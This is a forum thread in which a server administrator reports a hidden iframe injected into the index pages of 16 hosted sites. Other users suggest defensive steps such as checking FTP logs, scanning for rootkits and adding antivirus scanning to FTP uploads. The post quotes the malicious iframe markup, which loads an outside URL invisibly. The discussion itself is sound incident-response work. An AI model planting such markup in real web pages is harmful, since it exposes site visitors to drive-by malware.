Server Attack¿? maliciusus code

[LuisA]

hi everione, first im sorrry for my bad english
i have a dedicated server with plesk 9.2, days ago i see this code in all pages in my server, i have 16 sites allowed but i see in all index pages (first and second level )


<!-- ~ --><iframe src="http://livelnternet.net/s/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->

that code was include in all index pages of all sites of my server,

i remove one by one... how i can stop that type of attack? how i can make a scritp to find that code in all pages allowed in my server?

Thanks

 

[Yves Vogl]

Hi,

check you logfiles to determine the entry point. This behaviour is mostly originated in hacked FTP accounts – so have a look at you xferlogs to determine the account. If you cannot find anything there this could have been caused by injection & co. – maybe some kind of script-based shell was placed onto your server. Try to find it with rkithunter and check access logs to determine the hacked domain and update any outdated software. I'm pretty sure that one of those steps above will lead to success. The hardest thing is to close the security hole – some months ago I had a similar issue which finally was caused by a compromised client PC (a reseller's machine) which stored a lot of FTP passwords, even from other client accounts.

So… Good Luck!

 

[atomicturtle]

Indicative of either multiple FTP accounts compromised, or the system has been compromised as the root user.

In regard to FTP events, where your users account(s) are getting compromised we added clamav support to the psa-proftpd daemon in ASL. This can help out a lot if your users credentials being compromised is a recurring problem.